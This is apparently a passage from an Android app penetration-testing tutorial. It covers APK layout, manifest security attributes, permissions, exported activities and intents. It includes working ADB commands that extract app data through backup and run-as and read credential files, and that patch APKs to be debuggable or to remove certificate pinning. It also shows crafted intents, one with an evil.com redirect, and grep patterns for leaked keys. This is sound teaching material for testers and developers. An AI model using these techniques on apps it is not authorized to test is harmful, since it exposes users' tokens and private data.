App Structure⚓
Understanding the internals of an Android APK.
APK File⚓
An APK is a compressed archive — just like a ZIP file. You can unzip it directly to retrieve all the files and folders inside: or just decompile to get proper decompliled code using tools like jadx or apktool
| File / Directory | Description |
|---|---|
AndroidManifest.xml |
App metadata, permissions, components (binary XML) |
classes.dex |
Compiled Dalvik bytecode |
classes2.dex |
Additional DEX (multidex apps) |
res/ |
Binary resources (layouts, drawables, strings) |
resources.arsc |
Compiled resource table |
assets/ |
Raw, uncompiled assets |
lib/ |
Native .so libraries per ABI |
META-INF/ |
Signature files and manifest |
assets/⚓
The assets/ folder contains unprocessed files that the app needs at runtime — fonts, HTML, CSS, certificates, audio files, images, and more. Android does not touch these files; they are delivered exactly as the developer created them.
This makes assets/ a useful place to look for:
- Hardcoded certificates (certificate pinning)
- Bundled HTML/JS pages (hybrid apps)
- Configuration files with sensitive values
lib/⚓
Contains the APK's native compiled code — precompiled binaries written in C or C++. Native code is used for heavy tasks like video processing or graphics rendering that Java/Kotlin can't handle efficiently. Once compiled, these turn into .so (shared object) files stored in lib/.
Each subfolder corresponds to a CPU architecture:
| Folder | Architecture |
|---|---|
armeabi-v7a |
32-bit ARM |
arm64-v8a |
64-bit ARM |
x86 |
32-bit x86 |
x86_64 |
64-bit x86 |
If the lib/ folder contains a subfolder for an architecture, the app can be installed on a device or emulator with that processor. The .so files are mini-programs called specifically to perform the required heavy task.
META-INF/⚓
This folder proves the app is legitimate and has not been tampered with. It holds the signing information for the APK.
MANIFEST.MF — The inventory list
- Lists every single file in the APK
- Has a unique fingerprint (hash) for each file
- If any file is changed, its hash won't match
CERT.SF — The signed inventory
- A signed version of the manifest
- Confirms the list itself hasn't been faked
CERT.RSA or CERT.DSA — The actual signature
- The developer's digital signature
- Like a verified stamp of identity
When you repackage a modified APK you must re-sign it, otherwise Android will reject the install because the signatures no longer match.
res/⚓
The res/ folder is the app's storage room for visual and text content — logos, images, layouts, and string resources. Everything the user sees and reads in the app lives here, but no executable code.
Key difference from assets/:
assets/ |
res/ |
|---|---|
| Delivered as-is by the developer | Processed and optimised by Android |
| No Android-side selection | Android picks the right version for screen/language |
Accessed via AssetManager |
Accessed via R.* resource IDs |
resources.arsc and strings.xml⚓
resources.arsc is the compiled resource table — a binary file that maps every resource ID to its actual value. When Android looks up a string, colour, dimension, or layout, it reads this table at runtime.
During decompilation, apktool unpacks this back out to human-readable files. The most interesting for pentesting is res/values/strings.xml, which contains all of the app's named string constants.
This is one of the first places to check for hardcoded secrets — developers frequently store API keys, tokens, base URLs, and credentials as string resources thinking they are "not in code", when in reality they are trivially extractable.
Extract and search with apktool:
What to look for:
<string name="api_key">AIzaSyD-XXXXXXXXXXXXXXXXXXXXXXXXX</string>
<string name="stripe_key">sk_live_XXXXXXXXXXXXXXXXXXXXXXXXX</string>
<string name="base_url">https://internal-api.company.com</string>
<string name="admin_password">Sup3rS3cr3t!</string>
<string name="firebase_url">https://myapp-default-rtdb.firebaseio.com</string>
Grep for common patterns across the whole decoded folder:
# API keys and tokens
grep -ri "api_key\|apikey\|api_secret\|secret_key" decoded/res/
# URLs that might reveal internal infrastructure
grep -ri "http://\|https://" decoded/res/values/strings.xml
# Firebase
grep -ri "firebase\|firebaseio" decoded/res/
# AWS
grep -ri "aws_access\|AKIA" decoded/res/
Also check decoded/res/xml/ for other config files — Firebase config (google-services.json gets compiled into resources), network security config, and app-specific XML configs often end up here.
AndroidManifest.xml⚓
Look at this file first. It is the single source of truth about an app — read it before anything else.
Decode the binary manifest with apktool:
The APK stores the manifest in a compressed binary XML format (AXML). apktool decodes it back to readable XML. You can also extract it without a full decode:
# Extract just the manifest from the APK (it's a ZIP)
unzip -p app.apk AndroidManifest.xml | strings # raw — partially readable
# Or with aapt (Android Asset Packaging Tool)
aapt dump xmltree app.apk AndroidManifest.xml
aapt dump badging app.apk # quick summary: package, version, permissions, activities
It contains:
- Package name — the unique identity of the app (e.g.
com.google.maps) - Version number / name
- App name
- Permissions — what the app is allowed to access
- Components — every Activity, Service, Receiver, and Provider
- Hardware requirements — e.g. the app requires a camera
- Minimum Android version the app supports
Manifest Structure⚓
A complete manifest follows this nesting:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.app"
android:versionCode="42"
android:versionName="1.4.2">
<!-- SDK version requirements -->
<uses-sdk
android:minSdkVersion="21"
android:targetSdkVersion="33"/>
<!-- Permissions this app requests -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.CAMERA"/>
<!-- Custom permissions this app defines -->
<permission
android:name="com.example.app.ACCESS_VAULT"
android:protectionLevel="signature"/>
<!-- Hardware features required -->
<uses-feature android:name="android.hardware.camera" android:required="true"/>
<!-- Package visibility (Android 11+) -->
<queries>
<package android:name="com.whatsapp"/>
</queries>
<!-- Main application block -->
<application
android:name=".MyApplication"
android:label="@string/app_name"
android:icon="@mipmap/ic_launcher"
android:allowBackup="true"
android:debuggable="false"
android:networkSecurityConfig="@xml/network_security_config"
android:usesCleartextTraffic="false"
android:exported="false">
<!-- Components -->
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<service android:name=".SyncService" android:exported="false"/>
<receiver android:name=".BootReceiver" android:exported="true"/>
<provider android:name=".DataProvider"
android:authorities="com.example.app.provider"
android:exported="false"/>
</application>
</manifest>
<application> Tag — Security-Relevant Attributes⚓
The <application> tag applies defaults to the entire app. Every security attribute set here is the baseline — individual components can override it.
| Attribute | What it controls | Dangerous value |
|---|---|---|
android:allowBackup |
Whether ADB backup can extract app data | true (default pre-API 31) |
android:debuggable |
Whether a debugger can attach | true |
android:networkSecurityConfig |
TLS trust policy — pinning, cleartext | Missing or over-permissive |
android:usesCleartextTraffic |
Whether plain HTTP is allowed globally | true |
android:exported |
Default exported state for components | true |
android:permission |
Default permission required to interact with all components | Missing |
android:sharedUserId |
Allows two apps signed with same cert to share a UID/sandbox | Present — read files across apps |
android:testOnly |
Marks app as test-only — enables extra attack surface | true in production |
android:sharedUserId is particularly interesting:
Two apps that declare the same sharedUserId and are signed with the same certificate run in the same Linux process and share the same /data/data/ directory. If you can install a second app with the same sharedUserId and same signing cert, you gain full read/write access to the target app's private storage — databases, shared prefs, tokens — without root.
# Check if an installed app uses sharedUserId
aapt dump badging app.apk | grep sharedUserId
# Look for it in the manifest
grep "sharedUserId" decoded/AndroidManifest.xml
minSdkVersion and targetSdkVersion — Security Implications⚓
minSdkVersion — the oldest Android version the app will run on. Low values mean the app must support old, insecure Android versions and cannot use modern security APIs as requirements.
targetSdkVersion — the Android version the app was built and tested against. This is the critical one for security. Android's backwards compatibility system applies behaviour changes based on targetSdkVersion — if the target is old, the app opts out of newer security defaults.
| targetSdkVersion | Security behaviours unlocked / changed |
|---|---|
< 17 |
addJavascriptInterface exposes all public methods — RCE via WebView |
< 23 |
Permissions granted at install, not runtime — no user prompt for dangerous permissions |
< 24 |
App trusts user-installed CA certificates — Burp CA works without patching |
< 28 |
Allows unencrypted HTTP traffic by default (usesCleartextTraffic defaults to true) |
< 29 |
READ_EXTERNAL_STORAGE covers all files on shared storage |
< 30 |
No package visibility filtering — app can see all installed packages without <queries> |
< 31 |
Components without explicit android:exported default to exported if they have an intent-filter |
< 33 |
Broad media permissions (READ_EXTERNAL_STORAGE) instead of granular ones |
From a pentest perspective:
# Check the target SDK
aapt dump badging app.apk | grep "targetSdkVersion"
# or
grep "targetSdkVersion" decoded/AndroidManifest.xml
If targetSdkVersion < 24 — install your Burp CA in the user store and traffic intercept works immediately, no patching required.
If targetSdkVersion < 30 — your malicious attacker app does not need <queries> to see the target package.
If targetSdkVersion < 31 — components with intent-filters but no explicit android:exported may be exported by default, widening the attack surface.
Intent Filters and android:exported⚓
An <intent-filter> declares what intents a component can receive. It is what allows the system to route implicit intents — e.g. "which app can handle this URL?" or "which app can print this document?".
<activity android:name=".ShareActivity">
<intent-filter>
<!-- The action this component handles -->
<action android:name="android.intent.action.SEND"/>
<!-- The categories it belongs to -->
<category android:name="android.intent.category.DEFAULT"/>
<!-- The data type it accepts -->
<data android:mimeType="text/plain"/>
</intent-filter>
</activity>
This registers ShareActivity as a handler for the system share sheet for plain text. Any app can send a ACTION_SEND intent with text/plain and Android will offer this activity as an option.
The android:exported and intent-filter relationship:
| Scenario | Exported by default? | Who can send intents? |
|---|---|---|
No intent-filter, no exported attribute |
false |
Only the same app |
Has intent-filter, no exported attribute, targetSdk < 31 |
true |
Any app |
Has intent-filter, no exported attribute, targetSdk >= 31 |
Crash at install — must be explicit | N/A |
android:exported="true" |
true |
Any app |
android:exported="false" |
false |
Only the same app |
API 31+ enforces that any component with an intent-filter must declare android:exported explicitly or the app will fail to install. This catches many accidentally-exported components in older apps.
Finding exported components with intent-filters:
# List everything exported, with intent-filter actions
grep -A 10 "exported=\"true\"" decoded/AndroidManifest.xml
# Or use aapt — lists all activities, services, receivers
aapt dump xmltree app.apk AndroidManifest.xml | grep -E "exported|intent-filter|action"
# Or drozer (if installed on device)
adb shell
run-as com.example.app
drozer console connect
dz> run app.package.attacksurface com.example.app
Deep link intent-filters are especially interesting:
<activity android:name=".DeepLinkActivity" android:exported="true">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https"
android:host="app.example.com"
android:pathPrefix="/open"/>
</intent-filter>
</activity>
A BROWSABLE category means this component can be triggered directly from a link clicked in the browser — no other app interaction required. If DeepLinkActivity processes the URI without validation, a malicious web page can trigger it. See the Deep Links section under Activities for exploitation.
There are two types:
1. Requesting system permissions — the app asks Android for access to a device feature or resource that Android controls.
Use this when your app needs something that belongs to the device or user's private data — camera, microphone, location, contacts, storage, SMS, and so on. These are all built-in Android permissions that the OS enforces.
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
When to use: any time your app touches something that isn't completely internal to itself — a device sensor, the network, another app's data, or anything the user would consider private.
The protection level on system permissions is defined by Android itself and you cannot change it. CAMERA is dangerous so the user gets a popup. INTERNET is normal so it is granted silently on install.
2. Defining custom permissions — the app creates its own lock that controls which other apps are allowed to interact with it.
Use this when you are building an app that exposes functionality to other apps and you want to control who gets in. Think of it as you making your own bouncer at the door — other apps have to either be invited (same certificate) or go through approval to get past it.
App A — defines the custom permission and protects a component with it:
<!-- App A's AndroidManifest.xml -->
<!-- Step 1: Define the custom permission -->
<permission
android:name="com.example.appa.ACCESS_VAULT"
android:protectionLevel="signature"/>
<!-- Step 2: Protect a component using it -->
<activity
android:name=".VaultActivity"
android:exported="true"
android:permission="com.example.appa.ACCESS_VAULT"/>
VaultActivity is exported so the system knows it can be opened externally, but android:permission means only an app that holds com.example.appa.ACCESS_VAULT can actually open it. Everyone else gets a SecurityException.
App B — requests the permission in order to interact with App A:
<!-- App B's AndroidManifest.xml -->
<uses-permission android:name="com.example.appa.ACCESS_VAULT"/>
Because the protection level is signature, Android will only grant this to App B if both apps are signed with the same certificate. If an unrelated third-party app tries the same <uses-permission>, Android silently denies it.
Concrete real-world example — a payment SDK and a merchant app:
The payment SDK (App A) defines:
<permission
android:name="com.paymentco.sdk.PROCESS_PAYMENT"
android:protectionLevel="signature"/>
<service
android:name=".PaymentService"
android:exported="true"
android:permission="com.paymentco.sdk.PROCESS_PAYMENT"/>
Any merchant app (App B) built by the same company and signed with the same certificate adds:
Third-party apps cannot reach PaymentService at all even though it is exported.
When to use custom permissions:
| Situation | Use custom permission? |
|---|---|
| Your app exposes an exported Activity/Service/Provider to other apps | Yes |
| You want only your own companion apps to access a component | Yes — use signature |
| You want the user to decide at runtime | Yes — use dangerous |
| You just need to use camera or internet | No — use <uses-permission> with a system permission |
| The component is private to your app only | No — just set exported="false" |
Protection levels:
| Level | Meaning |
|---|---|
normal |
Any app can request and get it automatically |
dangerous |
Any app can request, but the user must approve |
signature |
Only apps signed with the same certificate get it |
system |
Only built-in system apps get it |
<queries> Tag⚓
Introduced in Android 11 as a privacy protection feature. Before Android 11, apps could freely see every other installed app on the device. Now apps must explicitly declare which other apps they need to be aware of.
When to use <queries>: only when your app needs to check whether another app exists or hand off to it — for example, checking if WhatsApp is installed before showing a "Share on WhatsApp" button, opening a URL in a browser, or sharing content via the share sheet.
When you do NOT need it: if your app only uses device features like camera or internet and never interacts with or checks for other apps, you do not need <queries> at all.
<queries> only gives awareness — it lets you see another app exists, but does not give you permission to interact with it or access its data. Think of it as knowing someone's address without having a key to their house.
One limitation: the target app cannot fully block being detected through <queries> if its package name is known, since package names are public on the Play Store. However, they can still block any actual interaction using exported="false" on their components.
To remember how it fits:
<queries>→ for seeing other apps<uses-permission>→ for accessing system features<permission>→ for creating your own locks that others must follow
By package name — check if a specific app is installed:
Use this when you have a "Open in WhatsApp" or "Share via Telegram" button and want to show it only if the app is actually installed.
In code you then check:
PackageManager pm = getPackageManager();
try {
pm.getPackageInfo("com.whatsapp", 0);
// WhatsApp is installed — show the button
} catch (PackageManager.NameNotFoundException e) {
// Not installed — hide the button
}
Without <queries>, getPackageInfo would always throw even if WhatsApp is installed, because Android hides it from your app.
By intent — find all apps of a certain type:
Use this when you want to show the share sheet or open a link in any browser — you don't care which specific app handles it, just that something can.
<queries>
<intent>
<action android:name="android.intent.action.SEND"/>
<data android:mimeType="text/plain"/>
</intent>
</queries>
This lets your app see all apps that can receive a share intent for plain text — messaging apps, email apps, social apps — so the chooser dialog is populated correctly.
Another example — knowing which browsers exist:
<queries>
<intent>
<action android:name="android.intent.action.VIEW"/>
<data android:scheme="https"/>
</intent>
</queries>
By provider:
Use this when your app needs to access a specific content provider in another app — for example, reading data from a partner app's provider.
Key pentest flags in manifest⚓
<!-- Exported components — accessible by other apps -->
<activity android:name=".SensitiveActivity" android:exported="true" />
<!-- Dangerous permissions -->
<uses-permission android:name="android.permission.READ_CONTACTS" />
<!-- Backup allowed — data extractable via adb backup -->
android:allowBackup="true"
<!-- Debuggable — attach debugger, run-as commands work -->
android:debuggable="true"
<!-- Network security config — check for cert pinning -->
android:networkSecurityConfig="@xml/network_security_config"
android:allowBackup Exploitation⚓
When android:allowBackup="true" is set (or not set at all — it defaults to true before Android 12), any computer with USB debugging enabled can extract the app's private data directory using adb backup — no root required.
This includes shared preferences, databases, internal files, and session tokens. The user does not get a prompt on modern devices unless the app opts in to encrypted backups.
Extract app data:
# Pull a full backup of just this app
adb backup -noapk com.example.app
# This creates backup.ab in the current directory
# Convert it to a readable tar archive
dd if=backup.ab bs=1 skip=24 | python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" > backup.tar
# Extract
tar xf backup.tar
# Browse the output — maps to /data/data/com.example.app/
ls apps/com.example.app/
You will find:
apps/com.example.app/
_manifest
db/
app.db ← SQLite database
sp/
prefs.xml ← SharedPreferences — often contains session tokens, user data
auth.xml
f/
cache/ ← cached responses, images
Read the SharedPreferences file:
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="auth_token">eyJhbGciOiJIUzI1NiIsInR...</string>
<string name="user_email">victim@example.com</string>
<boolean name="is_logged_in" value="true" />
</map>
Restore modified data back to the device:
# Modify the extracted files, repack, restore
tar cf modified.tar apps/
dd if=/dev/zero bs=1 count=24 > modified.ab
cat modified.tar | python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.compress(sys.stdin.buffer.read()))" >> modified.ab
adb restore modified.ab
This lets you inject a known session token, replace a flag (is_premium = true), or overwrite a database row — all without root.
android:debuggable Exploitation⚓
When android:debuggable="true" is present, the app runs in debug mode. This unlocks several attack capabilities:
1. run-as — access the app's private files without root
Normally /data/data/com.example.app/ requires root. Debuggable apps allow any shell user to impersonate them:
adb shell
run-as com.example.app
# Now inside the app's sandbox as its own UID
ls /data/data/com.example.app/
cat /data/data/com.example.app/shared_prefs/auth.xml
# Pull files out
cp /data/data/com.example.app/databases/app.db /sdcard/app.db
exit
adb pull /sdcard/app.db
2. Execute code as the app — run arbitrary commands in its context
adb shell run-as com.example.app /bin/sh
# or
adb shell run-as com.example.app cat /data/data/com.example.app/shared_prefs/creds.xml
3. Attach a debugger — pause execution and inspect runtime state
With a debuggable app you can attach jdb (Java Debugger) via JDWP, set breakpoints, print variable values, and modify runtime state:
# Find the JDWP process ID of the target app
adb shell ps | grep com.example.app
# note the PID
# Forward the debug port
adb forward tcp:8700 jdwp:<PID>
# Attach the debugger
jdb -attach localhost:8700
# From jdb — list threads, set a breakpoint, print variable
threads
stop in com.example.app.LoginActivity.checkPin
cont
print pin_value
This lets you see the value of decrypted secrets, intercept function return values, and skip authentication checks at the bytecode level.
4. Make a release APK debuggable with apktool
If the APK has debuggable="false", patch it:
apktool d app.apk -o decoded/
# Edit decoded/AndroidManifest.xml
# Change android:debuggable="false" to android:debuggable="true"
# Or add it if missing:
# <application android:debuggable="true" ...>
apktool b decoded/ -o patched.apk
# Sign it
keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 365
jarsigner -keystore test.keystore patched.apk test
# Install
adb install patched.apk
Now run-as and JDWP attachment work on a release build.
Network Security Config⚓
The android:networkSecurityConfig attribute in <application> points to an XML file (typically res/xml/network_security_config.xml) that controls how the app handles TLS — which CAs it trusts, whether it allows cleartext HTTP, and whether it pins certificates.
Reading the existing config:
A strict config with cert pinning looks like:
<network-security-config>
<domain-config>
<domain includeSubdomains="true">api.example.com</domain>
<pin-set>
<pin digest="SHA-256">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</pin>
<pin digest="SHA-256">BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=</pin>
</pin-set>
</domain-config>
</network-security-config>
This means the app will only connect to api.example.com if the server's certificate matches one of those specific SHA-256 pins — your Burp CA will be rejected regardless of whether you installed it on the device.
Bypassing by patching the config:
If the tag is present, patch the file to remove pinning and trust user CAs:
# Replace the contents of decoded/res/xml/network_security_config.xml with:
cat > decoded/res/xml/network_security_config.xml << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true">
<trust-anchors>
<certificates src="system"/>
<certificates src="user"/>
</trust-anchors>
</base-config>
</network-security-config>
EOF
src="user" is the key line — it tells the app to trust certificates installed in the device's user certificate store, which is where Burp's CA lives after you install it.
Then rebuild and sign:
apktool b decoded/ -o patched.apk
keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 365
jarsigner -keystore test.keystore patched.apk test
adb install -r patched.apk
If the tag is absent entirely:
The app uses Android's default trust policy. On Android 7+ the default does NOT trust user CAs — only system CAs. So even without explicit pinning, Burp will be rejected.
Fix: add the attribute to the manifest and create the config file yourself:
# 1. Create the config file
mkdir -p decoded/res/xml/
cat > decoded/res/xml/network_security_config.xml << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true">
<trust-anchors>
<certificates src="system"/>
<certificates src="user"/>
</trust-anchors>
</base-config>
</network-security-config>
EOF
# 2. Add the attribute to the <application> tag in AndroidManifest.xml
# Find: <application
# Add: android:networkSecurityConfig="@xml/network_security_config"
# 3. Rebuild and sign
apktool b decoded/ -o patched.apk
jarsigner -keystore test.keystore patched.apk test
adb install -r patched.apk
Now the app trusts your Burp CA and you can intercept all HTTPS traffic.
Components⚓
Every Android app is built from four types of components:
| Component | Description |
|---|---|
Activity |
A single screen of UI |
Service |
Background task with no UI |
BroadcastReceiver |
Listens for system or app events |
ContentProvider |
Shares data between apps |
Exported components without proper permission checks are common attack targets.
Activities⚓
What is an Activity?⚓
An Activity is a single screen in the app. Every screen the user sees and interacts with is an Activity — login screen, home feed, settings page, chat screen, and so on.
Each app is a collection of activities. When you tap an app icon, Android finds the activity tagged as the launcher and starts it. From there, activities start other activities, forming a back-stack — like browser history for screens.
User taps app icon
↓
MainActivity ←─ launcher activity, the front door
↓ (user taps "Settings")
SettingsActivity
↓ (user taps "Account")
AccountActivity
↓ (user presses back)
SettingsActivity ←─ back-stack pops
Each activity is declared in the manifest. The entry-point activity carries a special intent filter marking it as the launcher:
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
How Activities are Opened⚓
Activities are opened by sending an Intent — a message that says "open this screen" or "open whatever handles this type of request". The intent can carry data with it (extras), just like query parameters on a URL.
There are two ways an activity gets opened:
1. Within the app — by the developer's own code:
Intent intent = new Intent(this, SettingsActivity.class);
intent.putExtra("userId", 123);
startActivity(intent);
The developer names the exact class. Android opens it directly. The extras are passed along.
2. From outside the app — by another app, a browser link, or ADB:
This only works if the activity is declared exported="true" in the manifest. Any external component — another app on the same device, a browser firing a deep link, or an ADB command — can send an intent that opens the activity directly, with whatever extras the attacker wants.
This is exactly the attack surface: if an activity is exported without a permission check, the attacker is the caller. They control the intent, they control the extras, and they skip whatever navigation flow the developer assumed would always run first.
Activity Lifecycle⚓
Android manages activities through a lifecycle. Understanding it matters for pentesting because sensitive operations (loading tokens, checking sessions) happen at specific lifecycle points — and bypassing the normal entry point means those checks may never run.
User opens app → CREATED → STARTED (visible) → RESUMED (interacting)
↓
User presses home button
↓
PAUSED → STOPPED (invisible)
↓
User comes back → RESUMED again
↓
User closes app → DESTROYED
onCreate() is where the activity reads the incoming intent and sets itself up. This is the first method that runs — and the first place to look in the source for how it handles attacker-controlled data.
Recon — Finding Activities in the Manifest⚓
After decoding with apktool, list every <activity> tag:
The launcher activity (entry point) has the MAIN + LAUNCHER filter — everything else is a candidate for testing. Flag any activity that is:
exported="true"withoutandroid:permission- Has an
<intent-filter>but noandroid:exportedset (before Android 12 → defaults totrue) - Has a
BROWSABLEcategory → it handles deep links (reachable from any browser or app) - Named with words like
Admin,Debug,Dev,Internal,Settings,Payment,Reset
Quick grep for exported activities and their filters:
# All exported activities
grep -A 3 "exported=\"true\"" decoded/AndroidManifest.xml | grep "activity\|exported"
# All BROWSABLE filters (deep links)
grep -B 2 -A 10 "BROWSABLE" decoded/AndroidManifest.xml
Intents⚓
This is the actual mechanism that drives everything — exported activities, intent filters, and deep links all revolve around it.
An Intent is a message that tells Android "I want to do something or go somewhere." It is how one component requests something from another — either within the same app or across apps.
Two types:
Explicit Intent — you name the exact destination. Used within your own app. Goes directly to the named class, no ambiguity:
Implicit Intent — you describe what you want, Android decides who handles it. Used when you want to hand off to any suitable app or activity:
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("https://google.com"));
startActivity(intent);
Android scans all installed apps, matches the intent against declared intent filters, then either opens the one match or shows a chooser if multiple apps qualify.
What an intent can carry:
// Action — what to do
Intent.ACTION_VIEW // view something
Intent.ACTION_SEND // share something
Intent.ACTION_CALL // make a call
// Data — the URI to act on
intent.setData(Uri.parse("https://google.com"));
intent.setData(Uri.parse("tel:+1234567890"));
// Extras — key/value pairs passed to the receiving activity
intent.putExtra("userId", 123);
intent.putExtra("token", "abc123");
// Type — MIME type of the data
intent.setType("image/*");
intent.setType("text/plain");
Passing data between screens:
// Screen A — sending
Intent intent = new Intent(this, ProfileActivity.class);
intent.putExtra("userId", 123);
startActivity(intent);
// Screen B — receiving
int userId = getIntent().getIntExtra("userId", 0);
android:exported and Intent Filters⚓
These two attributes work together to control whether an activity can be opened from outside your app. Understanding both — and how they interact — is key to finding attack surface in an APK.
android:exported is the gate. It is a simple yes/no on whether any outside component (another app, the system, ADB) is allowed to reach this activity at all.
exported="true"→ the door is open, external access allowedexported="false"→ the door is locked, only your own app can open it
Intent filter is the routing label. It is the declaration on an activity that says "I can handle this type of request." When an implicit intent is fired, Android reads all the intent filters across all installed apps and matches them against the intent's action, category, and data.
An intent filter is built from three tags:
| Tag | Purpose | Example values |
|---|---|---|
<action> |
What operation is being requested | VIEW, SEND, MAIN |
<category> |
Context the activity expects | DEFAULT, LAUNCHER, BROWSABLE |
<data> |
What kind of data it handles (scheme, host, mimeType) | https://, image/*, myapp:// |
If any part of an incoming intent does not match — wrong action, missing category, wrong MIME type — Android will not route to that activity.
How they relate:
exported opens the door. The intent filter puts a sign on the door describing what requests it accepts. You need both for an implicit intent from outside your app to work.
| Scenario | Result |
|---|---|
exported="false", any filter |
Fully private. Nothing outside your app can reach it. |
exported="true", no filter |
Accessible externally but only by explicit intent (exact class name). |
exported="true" + intent filter |
Accessible externally by implicit intent matching the filter. Full public surface. |
Before Android 12: if you added an intent filter without setting exported, Android silently defaulted it to true. Many apps accidentally exposed private screens this way — a developer added a deep link filter and unknowingly made the entire screen publicly reachable.
From Android 12 onwards: Android requires exported to be explicitly declared on any activity with an intent filter. The build fails if you omit it. This forces a deliberate decision.
Exploitation — Exported Activities and Intent Filters⚓
Every exported activity is a potential entry point into the app that bypasses the normal user flow.
Scenario: authentication bypass
A typical app flow is:
If SettingsActivity or DashboardActivity is exported without a permission requirement, an attacker can jump directly to it:
This skips MainActivity and LoginActivity entirely. The app is now inside a privileged screen with no authentication.
Scenario: intent filter with unvalidated extras
An exported activity with an intent filter reads untrusted data from the incoming intent — a URL, a filename, a user ID — and acts on it without validation:
# Send a crafted intent with a malicious extra
adb shell am start -n com.example.app/.WebViewActivity \
--es "url" "file:///data/data/com.example.app/shared_prefs/creds.xml"
If the activity reads getIntent().getStringExtra("url") and loads it into a WebView without sanitisation, local files or internal pages become readable.
Scenario: implicit intent hijacking
The app fires an implicit intent to open a URL or share data. A malicious app on the same device declares the same intent filter and Android routes the intent to the attacker's app instead — intercepting tokens, credentials, or other data passed as extras.
How to protect exported activities:
<!-- Require a custom permission to open this activity -->
<activity
android:name=".ShareActivity"
android:exported="true"
android:permission="com.example.myapp.OPEN_SHARE"/>
Or keep it private if it does not need to be reached from outside:
What to Look for in the Source Code⚓
Once you have a list of exported activities from the manifest, open each one in jadx and read onCreate() — that is where the activity reads from the incoming intent and acts on it.
Pattern 1 — Skipped authentication check
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// ← no session check here — any caller lands directly on this screen
setContentView(R.layout.activity_admin);
loadAdminPanel();
}
Normal authenticated activities will call something like checkSession(), requireLogin(), or redirect to LoginActivity if no token is found. If onCreate() goes straight to privileged code with no such guard, launching it externally bypasses auth entirely.
Pattern 2 — Extras read and used without validation
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String url = getIntent().getStringExtra("url");
webView.loadUrl(url); // ← attacker controls the URL
}
String userId = getIntent().getStringExtra("user_id");
loadProfileFromServer(userId); // ← IDOR — attacker supplies any user ID
String path = getIntent().getStringExtra("file");
displayFile(new File(getFilesDir(), path)); // ← path traversal
Pattern 3 — getIntent().getData() used unsanitised (deep link handler)
@Override
protected void onCreate(Bundle savedInstanceState) {
Uri data = getIntent().getData();
String token = data.getQueryParameter("token");
String next = data.getQueryParameter("next");
loginWithToken(token); // ← attacker supplies any token
redirect(next); // ← open redirect / SSRF
}
Pattern 4 — startActivityForResult result not verified
An activity starts a sub-activity and trusts the result without validating the source:
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (resultCode == RESULT_OK) {
String secret = data.getStringExtra("secret");
unlockFeature(secret); // ← result came from where, exactly?
}
}
A malicious app that was started in a different context can return a crafted Intent with RESULT_OK and a forged secret.
Exploitation — Exported Activities via ADB⚓
# Launch an exported activity directly — bypasses normal app flow
adb shell am start -n com.example.app/.AdminActivity
# Launch with string extras
adb shell am start -n com.example.app/.WebViewActivity \
--es "url" "file:///data/data/com.example.app/shared_prefs/auth.xml"
# Launch with integer extras
adb shell am start -n com.example.app/.ProfileActivity \
--ei "user_id" "1"
# Launch with boolean extras
adb shell am start -n com.example.app/.SettingsActivity \
--ez "admin" "true"
# Launch via implicit intent action
adb shell am start -a com.example.app.OPEN_ADMIN
# Launch a deep link directly
adb shell am start -a android.intent.action.VIEW \
-d "myapp://reset?token=AAAA1234" com.example.app
# Inject a redirect parameter
adb shell am start -a android.intent.action.VIEW \
-d "myapp://reset?next=https://evil.com" com.example.app
# Force-stop the app
adb shell am force-stop com.example.app
Extra type flags:
| Flag | Type |
|---|---|
--es |
String |
--ei |
Integer |
--el |
Long |
--ef |
Float |
--ez |
Boolean |
--eu |
URI |
--ecn |
ComponentName |
--eia |
Integer array (comma-separated) |
--esa |
String array (comma-separated) |
Watch what the app does in Logcat while sending:
Quick Reference — Activity Pentest Checklist⚓
[ ] Grep manifest for all <activity> tags
[ ] Flag exported=true without android:permission
[ ] Flag intent-filters without explicit exported (pre-Android 12 default true)
[ ] Flag BROWSABLE filters — deep link entry points
[ ] Note sensitive activity names (Admin, Debug, Dev, Reset, Payment, Internal)
[ ] Open each flagged activity in jadx — read onCreate()
[ ] Check if onCreate() has an auth/session guard before loading content
[ ] Find all getIntent().getStringExtra() / getIntExtra() / getData() calls
[ ] Trace each extra to see if it reaches a WebView, file op, DB query, or redirect
[ ] Launch exported activities via ADB and observe behaviour
[ ] Fuzz extras with boundary values, path traversal, file:// URIs
[ ] Check onActivityResult() — verify it validates request code and result source
[ ] For deep links, test every query parameter the activity reads
Deep Links⚓
A deep link is a specific case of an exported activity with an intent filter — one where the filter matches a URL scheme, allowing a link (in a browser, QR code, another app, or an attacker's page) to open a specific screen directly inside the app.
Normal app open = entering through the main lobby. Deep link = going directly to room 302 without stopping at reception.
Three types, in order of security:
